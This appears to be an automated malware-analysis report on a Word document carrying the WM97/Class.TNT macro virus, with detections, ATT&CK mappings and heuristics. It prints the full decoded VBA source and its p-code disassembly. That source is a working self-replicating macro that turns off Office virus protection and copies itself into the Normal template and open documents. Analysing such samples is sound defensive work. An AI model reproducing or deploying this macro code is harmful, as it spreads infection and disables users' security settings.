MALICIOUS
176
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1547.001 Registry Run Keys / Startup Folder
The sample is a malicious Office document containing VBA macros. The macros exhibit self-replication behavior by attempting to write to the Normal template and the current document's VBA project. This behavior is indicative of macro-virus functionality, aiming to spread or evade detection. The presence of AutoOpen and AutoClose macros, along with the critical heuristic for VBA macro-virus replication, strongly suggests malicious intent.
Heuristics 6
-
ClamAV: Doc.Trojan.Class-36 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Class-36
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VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
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VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
.deletelines 1 -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
If dt = 0 Then tnt.Item(1).codemodule.replaceline 1, "Sub AutoClose()" -
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 13722 bytes |
SHA-256: 246db25b5656f5426eae6e7bc1db3d873d1ce18777e4ec9b73a1b4e61ce6f007 |
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Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Dim rsx, rox, xix, xxi As Integer: Dim xxe, xex, exx, exd, cxi, cix, xic, eox, xoe, oxe, cii, rxe, rex, exr, nix, ixn, nxi, lnr, nrl, rnl As String: o = 0: r = 0
Randomize
On Error GoTo 91
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Options.ConfirmConversions = 0
rt = ActiveDocument.VBProject.VBComponents.Item(1).codemodule.countoflines
dt = NormalTemplate.VBProject.VBComponents.Item(1).codemodule.countoflines
If dt > 0 And rt > 0 Then GoTo 91
If dt = 0 Then
Set tnt = NormalTemplate.VBProject.VBComponents
Set hst = ActiveDocument.VBProject.VBComponents
lt = Int(Rnd(1) * 25) + 1
If lt = 24 Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(86) + Chr(105) + Chr(82) + Chr(117) + Chr(83) + Chr(32) + Chr(83) + Chr(65) + Chr(89) + Chr(83) + Chr(32) + Chr(72) + Chr(73)
If Day(25) And Month(12) Then MsgBox Chr(32) + Chr(32) + Chr(32) + Chr(32) + Chr(67) + Chr(76) + Chr(65) + Chr(83) + Chr(83) + Chr(32) + Chr(84) + Chr(78) + Chr(84)
hst.Item(1).Name = tnt.Item(1).Name
hst.Item(1).Export Application.StartupPath & Chr(84) + Chr(78) + Chr(84)
End If
If rt = 0 Then Set tnt = ActiveDocument.VBProject.VBComponents
tnt.Item(1).codemodule.AddFromFile Application.StartupPath & Chr(84) + Chr(78) + Chr(84)
With tnt.Item(1).codemodule
For j = 1 To 4
.deletelines 1
Next j
End With
If dt = 0 Then tnt.Item(1).codemodule.replaceline 1, "Sub AutoClose()"
If dt = 0 Then tnt.Item(1).codemodule.replaceline 97, "Sub ToolsMarco()"
If dt = 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
With tnt.Item(1).codemodule
rsx = Int(Rnd(11) * 2998) + 24: rox = Int(Rnd(15) * 5863) + 33: xix = Int(Rnd(44) * 3544) + 55
cii = Asc(rsx): eox = Chr$(cii + 5): xoe = Chr$(cii - 14): oxe = Chr$(cii + 22): lnr = Chr$(cii - 4)
cix = Asc(rox): rxe = Chr$(cix + 7): rex = Chr$(cix - 16): exr = Chr$(cix + 4): nrl = Chr$(cix - 17)
xic = Asc(xix): nix = Chr$(xic + 9): ixn = Chr$(xic - 18): nxi = Chr$(xic + 8): rnl = Chr$(xic - 33)
cxi = Asc(xxi): xxe = Chr$(cxi + 4): xex = Chr$(cxi - 3): exx = Chr$(cxi + 18): exd = Chr$(cxi - 12)
rd1 = Int(Rnd(1) * 40) + 1
If rd1 = 39 Then .replaceline 85, ".replaceline j, ""'"" & eox & rxe & nix & xoe & rex & ixn & oxe & exr & nix & lnr & nrl & rnl & xxe & xex & exx & exd & oxe & exr & nix & lnr & nrl & rnl & xxe"
End With
With tnt.Item(1).codemodule
For j = 2 To tnt.Item(1).codemodule.countoflines Step 2
r = Int(Rnd(412835) * 303989) + 8485
o = Int(Rnd(487958) * 785865) + 2988
.replaceline j, "'" & r * r & o * o & r * r * o * o & r * r & o * o & r * r & o * o
Next j
End With
91:
If dt <> 0 And rt = 0 Then ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub
Sub ViewVBCode()
End Sub 'WM97/Class.TNT by Virus :) Smile
' Processing file: /opt/analyzer/scan_staging/c96f08d23ed04d04a6401c47890c2b69.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 6846 bytes
' Line #0:
' FuncDefn (Sub AutoOpen())
' Line #1:
' Line #2:
' Dim
' VarDefn rsx
' VarDefn rox
' VarDefn xix
' VarDefn xxi (As Integer)
' BoS 0x0000
' Dim
' VarDefn xxe
' VarDefn xex
' VarDefn exx
' VarDefn exd
' VarDefn cxi
' VarDefn cix
' VarDefn xic
' VarDefn eox
' VarDefn xoe
' VarDefn oxe
' VarDefn cii
' VarDefn rxe
' VarDefn rex
' VarDefn exr
' VarDefn nix
' VarDefn ixn
' VarDefn nxi
' VarDefn lnr
' VarDefn nrl
' VarDefn rnl (As String)
' BoS 0x0000
' LitDI2 0x0000
' St o
' BoS 0x0000
' LitDI2 0x0000
' St r
' Line #3:
' Line #4:
' ArgsCall Read 0x0000
' Line #5:
' Line #6:
' OnError 91
' Line #7:
' Line #8:
' LitDI2 0x0000
' Ld Options
' MemSt VirusProtection
' Line #9:
' Line #10:
' LitDI2 0x0000
' Ld Options
' MemSt SaveNormalPrompt
' Line #11:
' Line #12:
' LitDI2 0x0000
' Ld Options
' MemSt ConfirmConversions
' Line #13:
' Line #14:
' LitDI2 0x0001
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd countoflines
' St rt
' Line #15:
' Line #16:
' LitDI2 0x0001
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd countoflines
' St dt
' Line #17:
' Line #18:
' Ld dt
' LitDI2 0x0000
' Gt
' Ld rt
' LitDI2 0x0000
' Gt
' And
' If
' BoSImplicit
' GoTo 91
' EndIf
' Line #19:
' Line #20:
' Ld dt
' LitDI2 0x0000
' Eq
' IfBlock
' Line #21:
' Line #22:
' SetStmt
' Ld NormalTemplate
' MemLd VBProject
' MemLd VBComponents
' Set tnt
' Line #23:
' Line #24:
' SetStmt
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' Set hst
' Line #25:
' Line #26:
' LitDI2 0x0001
' ArgsLd Rnd 0x0001
' LitDI2 0x0019
' Mul
' FnInt
' LitDI2 0x0001
' Add
' St lt
' Line #27:
' Line #28:
' Ld lt
' LitDI2 0x0018
' Eq
' If
' BoSImplicit
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0056
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0069
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0052
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0075
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0053
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0053
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0041
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0059
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0053
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0048
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0049
' ArgsLd Chr 0x0001
' Add
' ArgsCall MsgBox 0x0001
' EndIf
' Line #29:
' Line #30:
' LitDI2 0x0019
' ArgsLd Day 0x0001
' LitDI2 0x000C
' ArgsLd Month 0x0001
' And
' If
' BoSImplicit
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0043
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x004C
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0041
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0053
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0053
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0020
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0054
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x004E
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0054
' ArgsLd Chr 0x0001
' Add
' ArgsCall MsgBox 0x0001
' EndIf
' Line #31:
' Line #32:
' LitDI2 0x0001
' Ld tnt
' ArgsMemLd Item 0x0001
' MemLd New
' LitDI2 0x0001
' Ld hst
' ArgsMemLd Item 0x0001
' MemSt New
' Line #33:
' Line #34:
' Ld Application
' MemLd StartupPath
' LitDI2 0x0054
' ArgsLd Chr 0x0001
' LitDI2 0x004E
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0054
' ArgsLd Chr 0x0001
' Add
' Concat
' LitDI2 0x0001
' Ld hst
' ArgsMemLd Item 0x0001
' ArgsMemCall Export 0x0001
' Line #35:
' Line #36:
' EndIfBlock
' Line #37:
' Line #38:
' Ld rt
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' SetStmt
' Ld ActiveDocument
' MemLd VBProject
' MemLd VBComponents
' Set tnt
' EndIf
' Line #39:
' Line #40:
' Ld Application
' MemLd StartupPath
' LitDI2 0x0054
' ArgsLd Chr 0x0001
' LitDI2 0x004E
' ArgsLd Chr 0x0001
' Add
' LitDI2 0x0054
' ArgsLd Chr 0x0001
' Add
' Concat
' LitDI2 0x0001
' Ld tnt
' ArgsMemLd Item 0x0001
' MemLd codemodule
' ArgsMemCall AddFromFile 0x0001
' Line #41:
' Line #42:
' StartWithExpr
' LitDI2 0x0001
' Ld tnt
' ArgsMemLd Item 0x0001
' MemLd codemodule
' With
' Line #43:
' Line #44:
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0001
' LitDI2 0x0004
' For
' Line #45:
' Line #46:
' LitDI2 0x0001
' ArgsMemCallWith deletelines 0x0001
' Line #47:
' Line #48:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #49:
' Line #50:
' EndWith
' Line #51:
' Line #52:
' Ld dt
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' LitDI2 0x0001
' LitStr 0x000F "Sub AutoClose()"
' LitDI2 0x0001
' Ld tnt
' ArgsMemLd Item 0x0001
' MemLd codemodule
' ArgsMemCall replaceline 0x0002
' EndIf
' Line #53:
' Line #54:
' Ld dt
' LitDI2 0x0000
' Eq
' If
' BoSImplicit
' LitDI2 0x0061
' LitStr 0x0010 "Sub ToolsMarco()"
' LitDI2 0x0001
' Ld tnt
' ArgsMemLd Item 0x0001
' MemLd codemodule
' ArgsMemCall replaceline 0x0002
' EndIf
' Line #55:
' Line #56:
' Ld dt
' LitDI2 0x0000
' Eq
' Ld rt
' LitDI2 0x0000
' Eq
' And
' If
' BoSImplicit
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' EndIf
' Line #57:
' Line #58:
' StartWithExpr
' LitDI2 0x0001
' Ld tnt
' ArgsMemLd Item 0x0001
' MemLd codemodule
' With
' Line #59:
' Line #60:
' LitDI2 0x000B
' ArgsLd Rnd 0x0001
' LitDI2 0x0BB6
' Mul
' FnInt
' LitDI2 0x0018
' Add
' St rsx
' BoS 0x0000
' LitDI2 0x000F
' ArgsLd Rnd 0x0001
' LitDI2 0x16E7
' Mul
' FnInt
' LitDI2 0x0021
' Add
' St rox
' BoS 0x0000
' LitDI2 0x002C
' ArgsLd Rnd 0x0001
' LitDI2 0x0DD8
' Mul
' FnInt
' LitDI2 0x0037
' Add
' St xix
' Line #61:
' Line #62:
' Ld rsx
' ArgsLd Asc 0x0001
' St cii
' BoS 0x0000
' Ld cii
' LitDI2 0x0005
' Add
' ArgsLd Chr$ 0x0001
' St eox
' BoS 0x0000
' Ld cii
' LitDI2 0x000E
' Sub
' ArgsLd Chr$ 0x0001
' St xoe
' BoS 0x0000
' Ld cii
' LitDI2 0x0016
' Add
' ArgsLd Chr$ 0x0001
' St oxe
' BoS 0x0000
' Ld cii
' LitDI2 0x0004
' Sub
' ArgsLd Chr$ 0x0001
' St lnr
' Line #63:
' Line #64:
' Ld rox
' ArgsLd Asc 0x0001
' St cix
' BoS 0x0000
' Ld cix
' LitDI2 0x0007
' Add
' ArgsLd Chr$ 0x0001
' St rxe
' BoS 0x0000
' Ld cix
' LitDI2 0x0010
' Sub
' ArgsLd Chr$ 0x0001
' St rex
' BoS 0x0000
' Ld cix
' LitDI2 0x0004
' Add
' ArgsLd Chr$ 0x0001
' St exr
' BoS 0x0000
' Ld cix
' LitDI2 0x0011
' Sub
' ArgsLd Chr$ 0x0001
' St nrl
' Line #65:
' Line #66:
' Ld xix
' ArgsLd Asc 0x0001
' St xic
' BoS 0x0000
' Ld xic
' LitDI2 0x0009
' Add
' ArgsLd Chr$ 0x0001
' St nix
' BoS 0x0000
' Ld xic
' LitDI2 0x0012
' Sub
' ArgsLd Chr$ 0x0001
' St ixn
' BoS 0x0000
' Ld xic
' LitDI2 0x0008
' Add
' ArgsLd Chr$ 0x0001
' St nxi
' BoS 0x0000
' Ld xic
' LitDI2 0x0021
' Sub
' ArgsLd Chr$ 0x0001
' St rnl
' Line #67:
' Line #68:
' Ld xxi
' ArgsLd Asc 0x0001
' St cxi
' BoS 0x0000
' Ld cxi
' LitDI2 0x0004
' Add
' ArgsLd Chr$ 0x0001
' St xxe
' BoS 0x0000
' Ld cxi
' LitDI2 0x0003
' Sub
' ArgsLd Chr$ 0x0001
' St xex
' BoS 0x0000
' Ld cxi
' LitDI2 0x0012
' Add
' ArgsLd Chr$ 0x0001
' St exx
' BoS 0x0000
' Ld cxi
' LitDI2 0x000C
' Sub
' ArgsLd Chr$ 0x0001
' St exd
' Line #69:
' Line #70:
' LitDI2 0x0001
' ArgsLd Rnd 0x0001
' LitDI2 0x0028
' Mul
' FnInt
' LitDI2 0x0001
' Add
' St rd1
' Line #71:
' Line #72:
' Ld rd1
' LitDI2 0x0027
' Eq
' If
' BoSImplicit
' LitDI2 0x0055
' LitStr 0x009D ".replaceline j, "'" & eox & rxe & nix & xoe & rex & ixn & oxe & exr & nix & lnr & nrl & rnl & xxe & xex & exx & exd & oxe & exr & nix & lnr & nrl & rnl & xxe"
' ArgsMemCallWith replaceline 0x0002
' EndIf
' Line #73:
' Line #74:
' EndWith
' Line #75:
' Line #76:
' StartWithExpr
' LitDI2 0x0001
' Ld tnt
' ArgsMemLd Item 0x0001
' MemLd codemodule
' With
' Line #77:
' Line #78:
' StartForVariable
' Ld j
' EndForVariable
' LitDI2 0x0002
' LitDI2 0x0001
' Ld tnt
' ArgsMemLd Item 0x0001
' MemLd codemodule
' MemLd countoflines
' LitDI2 0x0002
' ForStep
' Line #79:
' Line #80:
' LitDI4 0x4CA3 0x0006
' ArgsLd Rnd 0x0001
' LitDI4 0xA375 0x0004
' Mul
' FnInt
' LitDI2 0x2125
' Add
' St r
' Line #81:
' Line #82:
' LitDI4 0x7216 0x0007
' ArgsLd Rnd 0x0001
' LitDI4 0xFDC9 0x000B
' Mul
' FnInt
' LitDI2 0x0BAC
' Add
' St o
' Line #83:
' Line #84:
' Ld j
' LitStr 0x0001 "'"
' Ld r
' Ld r
' Mul
' Concat
' Ld o
' Ld o
' Mul
' Concat
' Ld r
' Ld r
' Mul
' Ld o
' Mul
' Ld o
' Mul
' Concat
' Ld r
' Ld r
' Mul
' Concat
' Ld o
' Ld o
' Mul
' Concat
' Ld r
' Ld r
' Mul
' Concat
' Ld o
' Ld o
' Mul
' Concat
' ArgsMemCallWith replaceline 0x0002
' Line #85:
' Line #86:
' StartForVariable
' Ld j
' EndForVariable
' NextVar
' Line #87:
' Line #88:
' EndWith
' Line #89:
' Line #90:
' LineNum 91
' BoS 0x0000
' Line #91:
' Line #92:
' Ld dt
' LitDI2 0x0000
' Ne
' Ld rt
' LitDI2 0x0000
' Eq
' And
' If
' BoSImplicit
' Ld ActiveDocument
' MemLd FullName
' ParamNamed FileName
' Ld ActiveDocument
' ArgsMemCall SaveAs 0x0001
' EndIf
' Line #93:
' Line #94:
' EndSub
' Line #95:
' Line #96:
' FuncDefn (Sub ViewVBCode())
' Line #97:
' Line #98:
' EndSub
' QuoteRem 0x0007 0x0020 "WM97/Class.TNT by Virus :) Smile"
' Line #99:
' Line #100:
' Line #101:
' Line #102:
' Line #103:
|
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